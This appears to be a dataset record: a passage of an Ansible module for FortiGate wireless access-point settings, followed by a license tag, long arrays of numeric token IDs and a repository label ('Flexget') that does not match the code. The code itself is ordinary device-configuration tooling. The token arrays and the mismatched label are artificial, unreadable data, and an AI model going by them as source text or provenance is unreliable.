"default_name_64" okc: "disable" passphrase: "<your_own_value>" pmf: "disable" pmf_assoc_comeback_timeout: "68" pmf_sa_query_retry_timeout: "69" portal_message_override_group: "<your_own_value>" portal_message_overrides: auth_disclaimer_page: "<your_own_value>" auth_login_failed_page: "<your_own_value>" auth_login_page: "<your_own_value>" auth_reject_page: "<your_own_value>" portal_type: "auth" probe_resp_suppression: "enable" probe_resp_threshold: "<your_own_value>" ptk_rekey: "enable" ptk_rekey_intv: "80" qos_profile: "<your_own_value>" quarantine: "enable" radio_2g_threshold: "<your_own_value>" radio_5g_threshold: "<your_own_value>" radio_sensitivity: "enable" radius_mac_auth: "enable" radius_mac_auth_server: "<your_own_value>" radius_mac_auth_usergroups: - name: "default_name_89" radius_server: "<your_own_value>" rates_11a: "1" rates_11ac_ss12: "mcs0/1" rates_11ac_ss34: "mcs0/3" rates_11bg: "1" rates_11n_ss12: "mcs0/1" rates_11n_ss34: "mcs16/3" schedule: "<your_own_value>" security: "open" security_exempt_list: "<your_own_value>" security_obsolete_option: "enable" security_redirect_url: "<your_own_value>" selected_usergroups: - name: "default_name_103" split_tunneling: "enable" ssid: "<your_own_value>" tkip_counter_measure: "enable" usergroup: - name: "default_name_108" utm_profile: "<your_own_value>" vdom: "<your_own_value> (source system.vdom.name)" vlan_auto: "enable" vlan_pool: - id: "113" wtp_group: "<your_own_value>" vlan_pooling: "wtp-group" vlanid: "116" voice_enterprise: "disable" ''' RETURN = ''' build: description: Build number of the fortigate image returned: always type: str sample: '1547' http_method: description: Last method used to provision the content into FortiGate returned: always type: str sample: 'PUT' http_status: description: Last result given by FortiGate on last operation applied returned: always type: str sample: "200" mkey: description: Master key (id) used in the last call to FortiGate returned: success type: str sample: "id" name: description: Name of the table used to fulfill the request returned: always type: str sample: "urlfilter" path: description: Path of the table used to fulfill the request returned: always type: str sample: "webfilter" revision: description: Internal revision number returned: always type: str sample: "17.0.2.10658" serial: description: Serial number of the unit returned: always type: str sample: "FGVMEVYYQT3AB5352" status: description: Indication of the operation's result returned: always type: str sample: "success" vdom: description: Virtual domain used returned: always type: str sample: "root" version: description: Version of the FortiGate returned: always type: str sample: "v5.6.3" ''' from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible.module_utils.network.fortios.fortios import FortiOSHandler from ansible.module_utils.network.fortimanager.common import FAIL_SOCKET_MSG def login(data, fos): host = data['host'] username = data['username'] password = data['password'] ssl_verify = data['ssl_verify'] fos.debug('on') if 'https' in data and not data['https']: fos.https('off') else: fos.https('on') fos.login(host, username, password, verify=ssl_verify) def filter_wireless_controller_vap_data(json): option_list = ['acct_interim_interval', 'alias', 'auth', 'broadcast_ssid', 'broadcast_suppression', 'captive_portal_ac_name', 'captive_portal_macauth_radius_secret', 'captive_portal_macauth_radius_server', 'captive_portal_radius_secret', 'captive_portal_radius_server', 'captive_portal_session_timeout_interval', 'dhcp_lease_time', 'dhcp_option82_circuit_id_insertion', 'dhcp_option82_insertion', 'dhcp_option82_remote_id_insertion', 'dynamic_vlan', 'eap_reauth', 'eap_reauth_intv', 'eapol_key_retries', 'encrypt', 'external_fast_roaming', 'external_logout', 'external_web', 'fast_bss_transition', 'fast_roaming', 'ft_mobility_domain', 'ft_over_ds', 'ft_r0_key_lifetime', 'gtk_rekey', 'gtk_rekey_intv', 'hotspot20_profile', 'intra_vap_privacy', 'ip', 'key', 'keyindex', 'ldpc', 'local_authentication', 'local_bridging', 'local_lan', 'local_standalone', 'local_standalone_nat', 'mac_auth_bypass', 'mac_filter', 'mac_filter_list', 'mac_filter_policy_other', 'max_clients', 'max_clients_ap', 'me_disable_thresh', 'mesh_backhaul', 'mpsk', 'mpsk_concurrent_clients', 'mpsk_key', 'multicast_enhance', 'multicast_rate', 'name', 'okc', 'passphrase', 'pmf', 'pmf_assoc_comeback_timeout', 'pmf_sa_query_retry_timeout', 'portal_message_override_group', 'portal_message_overrides', 'portal_type', 'probe_resp_suppression', 'probe_resp_threshold', 'ptk_rekey', 'ptk_rekey_intv', 'qos_profile', 'quarantine', 'radio_2g_threshold', 'radio_5g_threshold', 'radio_sensitivity', 'radius_mac_auth', 'radius_mac_auth_server', 'radius_mac_auth_usergroups', 'radius_server', 'rates_11a', 'rates_11ac_ss12', 'rates_11ac_ss34', 'rates_11bg', 'rates_11n_ss12', 'rates_11n_ss34', 'schedule', 'security', 'security_exempt_list', 'security_obsolete_option', 'security_redirect_url', 'selected_usergroups', 'split_tunneling', 'ssid', 'tkip_counter_measure', 'usergroup', 'utm_profile', 'vdom', 'vlan_auto', 'vlan_pool', 'vlan_pooling', 'vlanid', 'voice_enterprise'] dictionary = {} for attribute in option_list: if attribute in json and json[attribute] is not None: dictionary[attribute] = json[attribute] return dictionary def underscore_to_hyphen(data): if isinstance(data, list): for i, elem in enumerate(data): data[i] = underscore_to_hyphen(elem) elif isinstance(data, dict): new_data = {} for k, v in data.items(): new_data[k.replace('_', '-')] = underscore_to_hyphen(v) data = new_data return data def wireless_controller_vap(data, fos): vdom = data['vdom'] if 'state' in data and data['state']: state = data['state'] elif 'state' in data['wireless_controller_vap'] and data['wireless_controller_vap']: state = data['wireless_controller_vap']['state'] else: state = True wireless_controller_vap_data = data['wireless_controller_vap'] filtered_data = underscore_to_hyphen(filter_wireless_controller_vap_data(wireless_controller_vap_data)) if state == "present": return fos.set('wireless-controller', 'vap', data=filtered_data, vdom=vdom) elif state == "absent": return fos.delete('wireless-controller', 'vap', mkey=filtered_data['name'], vdom=vdom) def is_successful_status(status): return status['status'] == "success" or \ status['http_method'] == "DELETE" and status['http_status'] == 404 def fortios_wireless_controller(data, fos): if data['wireless_controller_vap']: resp = wireless_controller_vap(data, fos) return not is_successful_status(resp), \ resp['status'] == "success", \ resp def main(): fields = { "host": {"required": False, "type": "str"}, "username": {"required": False, "type": "str"}, "password": {"required": False, "type": "str", "default": "", "no_log": True}, "vdom": {"required": False, "type": "str", "default": "root"}, "https": {"required": False, "type": "bool", "default": True}, "ssl_verify": {"required": False, "type": "bool", "default": True}, "state": {"required": False, "type": "str", "choices": ["present", "absent"]}, "wireless_controller_vap": { "required": False, "type": "dict", "default": None, "options": { "state": {"required": False, "type": "str", "choices": ["present", "absent"]}, "acct_interim_interval": {"required": False, "type": "int"}, "alias": {"required": False, "type": "str"}, "auth": {"required": False, "type": "str", "choices": ["psk", "radius", "usergroup"]}, "broadcast_ssid": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "broadcast_suppression": {"required": False, "type": "str", "choices": ["dhcp-up", "dhcp-down", "dhcp-starvation", "arp-known", "arp-unknown", "arp-reply", "arp-poison", "arp-proxy", "netbios-ns", "netbios-ds", "ipv6", "all-other-mc", "all-other-bc"]}, "captive_portal_ac_name": {"required": False, "type": "str"}, "captive_portal_macauth_radius_secret": {"required": False, "type": "str"}, "captive_portal_macauth_radius_server": {"required": False, "type": "str"}, "captive_portal_radius_secret": {"required": False, "type": "str"}, "captive_portal_radius_server": {"required": False, "type": "str"}, "captive_portal_session_timeout_interval": {"required": False, "type": "int"}, "dhcp_lease_time": {"required": False, "type": "int"}, "dhcp_option82_circuit_id_insertion": {"required": False, "type": "str", "choices": ["style-1", "style-2", "disable"]}, "dhcp_option82_insertion": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "dhcp_option82_remote_id_insertion": {"required": False, "type": "str", "choices": ["style-1", "disable"]}, "dynamic_vlan": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "eap_reauth": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "eap_reauth_intv": {"required": False, "type": "int"}, "eapol_key_retries": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "encrypt": {"required": False, "type": "str", "choices": ["TKIP", "AES", "TKIP-AES"]}, "external_fast_roaming": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "external_logout": {"required": False, "type": "str"}, "external_web": {"required": False, "type": "str"}, "fast_bss_transition": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "fast_roaming": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "ft_mobility_domain": {"required": False, "type": "int"}, "ft_over_ds": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "ft_r0_key_lifetime": {"required": False, "type": "int"}, "gtk_rekey": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "gtk_rekey_intv": {"required": False, "type": "int"}, "hotspot20_profile": {"required": False, "type": "str"}, "intra_vap_privacy": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "ip": {"required": False, "type": "str"}, "key": {"required": False, "type": "str"}, "keyindex": {"required": False, "type": "int"}, "ldpc": {"required": False, "type": "str", "choices": ["disable", "rx", "tx", "rxtx"]}, "local_authentication": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "local_bridging": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "local_lan": {"required": False, "type": "str", "choices": ["allow", "deny"]}, "local_standalone": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "local_standalone_nat": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "mac_auth_bypass": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "mac_filter": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "mac_filter_list": {"required": False, "type": "list", "options": { "id": {"required": True, "type": "int"}, "mac": {"required": False, "type": "str"}, "mac_filter_policy": {"required": False, "type": "str", "choices": ["allow", "deny"]} }}, "mac_filter_policy_other": {"required": False, "type": "str", "choices": ["allow", "deny"]}, "max_clients": {"required": False, "type": "int"}, "max_clients_ap": {"required": False, "type": "int"}, "me_disable_thresh": {"required": False, "type": "int"}, "mesh_backhaul": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "mpsk": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "mpsk_concurrent_clients": {"required": False, "type": "int"}, "mpsk_key": {"required": False, "type": "list", "options": { "comment": {"required": False, "type": "str"}, "concurrent_clients": {"required": False, "type": "str"}, "key_name": {"required": False, "type": "str"}, "passphrase": {"required": False, "type": "str"} }}, "multicast_enhance": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "multicast_rate": {"required": False, "type": "str", "choices": ["0", "6000", "12000", "24000"]}, "name": {"required": True, "type": "str"}, "okc": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "passphrase": {"required": False, "type": "str"}, "pmf": {"required": False, "type": "str", "choices": ["disable", "enable", "optional"]}, "pmf_assoc_comeback_timeout": {"required": False, "type": "int"}, "pmf_sa_query_retry_timeout": {"required": False, "type": "int"}, "portal_message_override_group": {"required": False, "type": "str"}, "portal_message_overrides": {"required": False, "type": "dict", "options": { "auth_disclaimer_page": {"required": False, "type": "str"}, "auth_login_failed_page": {"required": False, "type": "str"}, "auth_login_page": {"required": False, "type": "str"}, "auth_reject_page": {"required": False, "type": "str"} }}, "portal_type": {"required": False, "type": "str", "choices": ["auth", "auth+disclaimer", "disclaimer", "email-collect", "cmcc", "cmcc-macauth", "auth-mac"]}, "probe_resp_suppression": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "probe_resp_threshold": {"required": False, "type": "str"}, "ptk_rekey": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "ptk_rekey_intv": {"required": False, "type": "int"}, "qos_profile": {"required": False, "type": "str"}, "quarantine": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "radio_2g_threshold": {"required": False, "type": "str"}, "radio_5g_threshold": {"required": False, "type": "str"}, "radio_sensitivity": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "radius_mac_auth": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "radius_mac_auth_server": {"required": False, "type": "str"}, "radius_mac_auth_usergroups": {"required": False, "type": "list", "options": { "name": {"required": True, "type": "str"} }}, "radius_server": {"required": False, "type": "str"}, "rates_11a": {"required": False, "type": "str", "choices": ["1", "1-basic", "2", "2-basic", "5.5", "5.5-basic", "11", "11-basic", "6", "6-basic", "9", "9-basic", "12", "12-basic", "18", "18-basic", "24", "24-basic", "36", "36-basic", "48", "48-basic", "54", "54-basic"]}, "rates_11ac_ss12": {"required": False, "type": "str", "choices": ["mcs0/1", "mcs1/1", "mcs2/1", "mcs3/1", "mcs4/1", "mcs5/1", "mcs6/1", "mcs7/1", "mcs8/1", "mcs9/1", "mcs10/1", "mcs11/1", "mcs0/2", "mcs1/2", "mcs2/2", "mcs3/2", "mcs4/2", "mcs5/2", "mcs6/2", "mcs7/2", "mcs8/2", "mcs9/2", "mcs10/2", "mcs11/2"]}, "rates_11ac_ss34": {"required": False, "type": "str", "choices": ["mcs0/3", "mcs1/3", "mcs2/3", "mcs3/3", "mcs4/3", "mcs5/3", "mcs6/3", "mcs7/3", "mcs8/3", "mcs9/3", "mcs10/3", "mcs11/3", "mcs0/4", "mcs1/4", "mcs2/4", "mcs3/4", "mcs4/4", "mcs5/4", "mcs6/4", "mcs7/4", "mcs8/4", "mcs9/4", "mcs10/4", "mcs11/4"]}, "rates_11bg": {"required": False, "type": "str", "choices": ["1", "1-basic", "2", "2-basic", "5.5", "5.5-basic", "11", "11-basic", "6", "6-basic", "9", "9-basic", "12", "12-basic", "18", "18-basic", "24", "24-basic", "36", "36-basic", "48", "48-basic", "54", "54-basic"]}, "rates_11n_ss12": {"required": False, "type": "str", "choices": ["mcs0/1", "mcs1/1", "mcs2/1", "mcs3/1", "mcs4/1", "mcs5/1", "mcs6/1", "mcs7/1", "mcs8/2", "mcs9/2", "mcs10/2", "mcs11/2", "mcs12/2", "mcs13/2", "mcs14/2", "mcs15/2"]}, "rates_11n_ss34": {"required": False, "type": "str", "choices": ["mcs16/3", "mcs17/3", "mcs18/3", "mcs19/3", "mcs20/3", "mcs21/3", "mcs22/3", "mcs23/3", "mcs24/4", "mcs25/4", "mcs26/4", "mcs27/4", "mcs28/4", "mcs29/4", "mcs30/4", "mcs31/4"]}, "schedule": {"required": False, "type": "str"}, "security": {"required": False, "type": "str", "choices": ["open", "captive-portal", "wep64", "wep128", "wpa-personal", "wpa-personal+captive-portal", "wpa-enterprise", "wpa-only-personal", "wpa-only-personal+captive-portal", "wpa-only-enterprise", "wpa2-only-personal", "wpa2-only-personal+captive-portal", "wpa2-only-enterprise", "osen"]}, "security_exempt_list": {"required": False, "type": "str"}, "security_obsolete_option": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "security_redirect_url": {"required": False, "type": "str"}, "selected_usergroups": {"required": False, "type": "list", "options": { "name": {"required": True, "type": "str"} }}, "split_tunneling": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "ssid": {"required": False, "type": "str"}, "tkip_counter_measure": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "usergroup": {"required": False, "type": "list", "options": { "name": {"required": True, "type": "str"} }}, "utm_profile": {"required": False, "type": "str"}, "vdom": {"required": False, "type": "str"}, "vlan_auto": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "vlan_pool": {"required": False, "type": "list", "options": { "id": {"required": True, "type": "int"}, "wtp_group": {"required": False, "type": "str"} }}, "vlan_pooling": {"required": False, "type": "str", "choices": ["wtp-group", "round-robin", "hash", "disable"]}, "vlanid": {"required": False, "type": "int"}, "voice_enterprise": {"required": False, "type": "str", "choices": ["disable", "enable"]} } } } module = AnsibleModule(argument_spec=fields, supports_check_mode=False) # legacy_mode refers to using fortiosapi instead of HTTPAPI legacy_mode = 'host' in module.params and module.params['host'] is not None and \ 'username' in module.params and module.params['username'] is not None and \ 'password' in module.params and module.params['password'] is not None if not legacy_mode: if module._socket_path: connection = Connection(module._socket_path) fos = FortiOSHandler(connection) is_error, has_changed, result = fortios_wireless_controller(module.params, fos) else: module.fail_json(**FAIL_SOCKET_MSG) else: try: from fortiosapi import FortiOSAPI except ImportError: module.fail_json(msg="fortiosapi module is required") fos = FortiOSAPI() login(module.params, fos) is_error, has_changed, result = fortios_wireless_controller(module.params, fos) fos.logout() if not is_error: module.exit_json(changed=has_changed, meta=result) else: module.fail_json(msg="Error in repo", meta=result) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 3, 1898, 20312, 30205, 10811, 12, 3277, 14, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 2859, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 363, 6577, 363, 275, 730, 199, 199, 8490, 63, 8314, 275, 791, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 297, 490, 283, 2343, 63, 1023, 356, 283, 17, 14, 17, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 19516, 63, 11239, 2003, 63, 5538, 63, 86, 439, 199, 3612, 63, 1802, 26, 15453, 13311, 11003, 32598, 334, 54, 1282, 83, 9, 315, 30205, 10811, 1159, 22913, 436, 20306, 14, 199, 1802, 26, 272, 446, 961, 859, 365, 7688, 370, 7908, 282, 20306, 503, 22913, 334, 38, 3100, 9, 2243, 701, 17266, 314, 489, 922, 370, 663, 436, 2811, 11799, 2003, 63, 5538, 3878, 436, 373, 439, 4637, 14, 489, 6058, 2387, 1006, 2633, 436, 1338, 1929, 370, 506, 19477, 370, 29289, 83, 2544, 4503, 14, 489, 30568, 543, 481, 3100, 373, 22, 14, 16, 14, 21, 199, 1023, 63, 3270, 26, 298, 18, 14, 24, 2, 199, 2502, 26, 272, 446, 28195, 13086, 1626, 24920, 603, 324, 26051, 8593, 391, 32368, 26051, 27719, 90, 1895, 90, 9, 272, 446, 30650, 761, 305, 27864, 8593, 273, 676, 8445, 331, 9, 199, 5983, 26, 272, 446, 15127, 19516, 1246, 3555, 477, 27813, 701, 30205, 10811, 272, 446, 3378, 465, 282, 2257, 63, 1287, 315, 2195, 15695, 199, 7538, 26, 272, 446, 19516, 1246, 8119, 16, 14, 25, 14, 24, 199, 1419, 26, 272, 1591, 26, 267, 1369, 26, 288, 446, 22913, 503, 20306, 3531, 2287, 14, 267, 730, 26, 620, 267, 1415, 26, 3055, 272, 3434, 26, 267, 1369, 26, 288, 446, 22913, 503, 20306, 3434, 14, 267, 730, 26, 620, 267, 1415, 26, 3055, 272, 2505, 26, 267, 1369, 26, 288, 446, 22913, 503, 20306, 2505, 14, 267, 730, 26, 620, 267, 849, 26, 3087, 272, 20822, 26, 267, 1369, 26, 288, 446, 13311, 2881, 12, 16885, 5204, 3247, 10889, 14, 437, 20822, 365, 282, 1598, 5791, 1256, 402, 314, 20306, 626, 883, 506, 7526, 436, 1598, 1202, 465, 282, 3365, 4137, 14, 267, 730, 26, 620, 267, 849, 26, 1738, 272, 4178, 26, 267, 1369, 26, 288, 446, 19334, 340, 314, 4145, 28354, 20306, 1471, 675, 14147, 4113, 14, 267, 730, 26, 2155, 267, 849, 26, 2549, 272, 6149, 63, 4712, 26, 267, 1369, 26, 288, 446, 29652, 20306, 5897, 1471, 506, 16317, 701, 282, 5576, 7240, 14, 267, 730, 26, 2155, 267, 849, 26, 2549, 267, 1015, 63, 3270, 26, 499, 14, 25, 272, 1174, 26, 267, 1369, 26, 288, 446, 19334, 3775, 370, 1218, 503, 2813, 314, 909, 14, 1598, 961, 2225, 1990, 3451, 2575, 315, 4136, 1015, 315, 282, 477, 15033, 2166, 14, 1598, 2779, 965, 2757, 12155, 734, 370, 642, 6890, 2166, 14, 267, 730, 26, 620, 267, 1415, 26, 3055, 267, 3415, 26, 288, 446, 3451, 288, 446, 9552, 267, 1015, 63, 3270, 26, 499, 14, 25, 272, 11799, 2003, 63, 5538, 63, 86, 439, 26, 267, 1369, 26, 288, 446, 15453, 13311, 11003, 32598, 334, 54, 1282, 83, 680, 267, 849, 26, 2973, 267, 730, 26, 1211, 267, 26265, 26, 288, 1174, 26, 355, 1369, 26, 490, 446, 699, 8, 19727, 9, 490, 446, 24175, 543, 2622, 499, 14, 25, 781, 27747, 1808, 314, 2746, 13, 1896, 283, 929, 7, 2725, 14, 490, 446, 869, 7947, 1761, 3565, 490, 446, 19334, 3775, 370, 1218, 503, 2813, 314, 909, 14, 355, 730, 26, 620, 355, 1415, 26, 3055, 355, 3415, 26, 490, 446, 3451, 490, 446, 9552, 288, 29468, 63, 5707, 31898, 63, 4284, 26, 355, 1369, 26, 490, 446, 644, 73, 9047, 820, 1554, 30373, 24772, 4661, 31898, 6252, 334, 2259, 446, 31200, 6513, 680, 355, 730, 26, 1109, 288, 5162, 26, 355, 1369, 26, 490, 446, 24777, 14, 355, 730, 26, 620, 288, 1790, 26, 355, 1369, 26, 490, 446, 15995, 4113, 14, 355, 730, 26, 620, 355, 3415, 26, 490, 446, 299, 1339, 490, 446, 9362, 490, 446, 922, 923, 288, 11180, 63, 23283, 26, 355, 1369, 26, 490, 446, 12030, 15, 5993, 32001, 314, 428, 19514, 1275, 355, 730, 26, 620, 355, 3415, 26, 490, 446, 4756, 490, 446, 3507, 288, 11180, 63, 8621, 1941, 26, 355, 1369, 26, 490, 446, 4879, 4973, 1941, 402, 11180, 3788, 14, 2104, 2893, 12, 1265, 883, 4215, 26821, 3788, 12, 4160, 48, 11180, 83, 12, 436, 880, 641, 2331, 402, 314, 11799, 2003, 2432, 2784, 14, 355, 730, 26, 620, 355, 3415, 26, 490, 446, 19064, 13, 384, 490, 446, 19064, 13, 2110, 490, 446, 19064, 13, 7848, 4255, 490, 446, 26262, 13, 3159, 490, 446, 26262, 13, 5187, 490, 446, 26262, 13, 8102, 490, 446, 26262, 13, 555, 28287, 490, 446, 26262, 13, 3280, 490, 446, 1851, 29673, 13, 561, 490, 446, 1851, 29673, 13, 795, 490, 446, 3278, 22, 490, 446, 1006, 13, 1848, 13, 5466, 490, 446, 1006, 13, 1848, 13, 3776, 288, 4021, 857, 63, 8707, 63, 645, 63, 354, 26, 355, 1369, 26, 490, 446, 10111, 13, 14601, 1540, 4021, 857, 18428, 1066, 13, 354, 14, 355, 730, 26, 620, 288, 4021, 857, 63, 8707, 63, 391, 696, 762 ]
[ 2647, 15, 1393, 15, 1548, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 3, 1898, 20312, 30205, 10811, 12, 3277, 14, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 2859, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 363, 6577, 363, 275, 730, 199, 199, 8490, 63, 8314, 275, 791, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 297, 490, 283, 2343, 63, 1023, 356, 283, 17, 14, 17, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 19516, 63, 11239, 2003, 63, 5538, 63, 86, 439, 199, 3612, 63, 1802, 26, 15453, 13311, 11003, 32598, 334, 54, 1282, 83, 9, 315, 30205, 10811, 1159, 22913, 436, 20306, 14, 199, 1802, 26, 272, 446, 961, 859, 365, 7688, 370, 7908, 282, 20306, 503, 22913, 334, 38, 3100, 9, 2243, 701, 17266, 314, 489, 922, 370, 663, 436, 2811, 11799, 2003, 63, 5538, 3878, 436, 373, 439, 4637, 14, 489, 6058, 2387, 1006, 2633, 436, 1338, 1929, 370, 506, 19477, 370, 29289, 83, 2544, 4503, 14, 489, 30568, 543, 481, 3100, 373, 22, 14, 16, 14, 21, 199, 1023, 63, 3270, 26, 298, 18, 14, 24, 2, 199, 2502, 26, 272, 446, 28195, 13086, 1626, 24920, 603, 324, 26051, 8593, 391, 32368, 26051, 27719, 90, 1895, 90, 9, 272, 446, 30650, 761, 305, 27864, 8593, 273, 676, 8445, 331, 9, 199, 5983, 26, 272, 446, 15127, 19516, 1246, 3555, 477, 27813, 701, 30205, 10811, 272, 446, 3378, 465, 282, 2257, 63, 1287, 315, 2195, 15695, 199, 7538, 26, 272, 446, 19516, 1246, 8119, 16, 14, 25, 14, 24, 199, 1419, 26, 272, 1591, 26, 267, 1369, 26, 288, 446, 22913, 503, 20306, 3531, 2287, 14, 267, 730, 26, 620, 267, 1415, 26, 3055, 272, 3434, 26, 267, 1369, 26, 288, 446, 22913, 503, 20306, 3434, 14, 267, 730, 26, 620, 267, 1415, 26, 3055, 272, 2505, 26, 267, 1369, 26, 288, 446, 22913, 503, 20306, 2505, 14, 267, 730, 26, 620, 267, 849, 26, 3087, 272, 20822, 26, 267, 1369, 26, 288, 446, 13311, 2881, 12, 16885, 5204, 3247, 10889, 14, 437, 20822, 365, 282, 1598, 5791, 1256, 402, 314, 20306, 626, 883, 506, 7526, 436, 1598, 1202, 465, 282, 3365, 4137, 14, 267, 730, 26, 620, 267, 849, 26, 1738, 272, 4178, 26, 267, 1369, 26, 288, 446, 19334, 340, 314, 4145, 28354, 20306, 1471, 675, 14147, 4113, 14, 267, 730, 26, 2155, 267, 849, 26, 2549, 272, 6149, 63, 4712, 26, 267, 1369, 26, 288, 446, 29652, 20306, 5897, 1471, 506, 16317, 701, 282, 5576, 7240, 14, 267, 730, 26, 2155, 267, 849, 26, 2549, 267, 1015, 63, 3270, 26, 499, 14, 25, 272, 1174, 26, 267, 1369, 26, 288, 446, 19334, 3775, 370, 1218, 503, 2813, 314, 909, 14, 1598, 961, 2225, 1990, 3451, 2575, 315, 4136, 1015, 315, 282, 477, 15033, 2166, 14, 1598, 2779, 965, 2757, 12155, 734, 370, 642, 6890, 2166, 14, 267, 730, 26, 620, 267, 1415, 26, 3055, 267, 3415, 26, 288, 446, 3451, 288, 446, 9552, 267, 1015, 63, 3270, 26, 499, 14, 25, 272, 11799, 2003, 63, 5538, 63, 86, 439, 26, 267, 1369, 26, 288, 446, 15453, 13311, 11003, 32598, 334, 54, 1282, 83, 680, 267, 849, 26, 2973, 267, 730, 26, 1211, 267, 26265, 26, 288, 1174, 26, 355, 1369, 26, 490, 446, 699, 8, 19727, 9, 490, 446, 24175, 543, 2622, 499, 14, 25, 781, 27747, 1808, 314, 2746, 13, 1896, 283, 929, 7, 2725, 14, 490, 446, 869, 7947, 1761, 3565, 490, 446, 19334, 3775, 370, 1218, 503, 2813, 314, 909, 14, 355, 730, 26, 620, 355, 1415, 26, 3055, 355, 3415, 26, 490, 446, 3451, 490, 446, 9552, 288, 29468, 63, 5707, 31898, 63, 4284, 26, 355, 1369, 26, 490, 446, 644, 73, 9047, 820, 1554, 30373, 24772, 4661, 31898, 6252, 334, 2259, 446, 31200, 6513, 680, 355, 730, 26, 1109, 288, 5162, 26, 355, 1369, 26, 490, 446, 24777, 14, 355, 730, 26, 620, 288, 1790, 26, 355, 1369, 26, 490, 446, 15995, 4113, 14, 355, 730, 26, 620, 355, 3415, 26, 490, 446, 299, 1339, 490, 446, 9362, 490, 446, 922, 923, 288, 11180, 63, 23283, 26, 355, 1369, 26, 490, 446, 12030, 15, 5993, 32001, 314, 428, 19514, 1275, 355, 730, 26, 620, 355, 3415, 26, 490, 446, 4756, 490, 446, 3507, 288, 11180, 63, 8621, 1941, 26, 355, 1369, 26, 490, 446, 4879, 4973, 1941, 402, 11180, 3788, 14, 2104, 2893, 12, 1265, 883, 4215, 26821, 3788, 12, 4160, 48, 11180, 83, 12, 436, 880, 641, 2331, 402, 314, 11799, 2003, 2432, 2784, 14, 355, 730, 26, 620, 355, 3415, 26, 490, 446, 19064, 13, 384, 490, 446, 19064, 13, 2110, 490, 446, 19064, 13, 7848, 4255, 490, 446, 26262, 13, 3159, 490, 446, 26262, 13, 5187, 490, 446, 26262, 13, 8102, 490, 446, 26262, 13, 555, 28287, 490, 446, 26262, 13, 3280, 490, 446, 1851, 29673, 13, 561, 490, 446, 1851, 29673, 13, 795, 490, 446, 3278, 22, 490, 446, 1006, 13, 1848, 13, 5466, 490, 446, 1006, 13, 1848, 13, 3776, 288, 4021, 857, 63, 8707, 63, 645, 63, 354, 26, 355, 1369, 26, 490, 446, 10111, 13, 14601, 1540, 4021, 857, 18428, 1066, 13, 354, 14, 355, 730, 26, 620, 288, 4021,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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ianstalk/Flexget
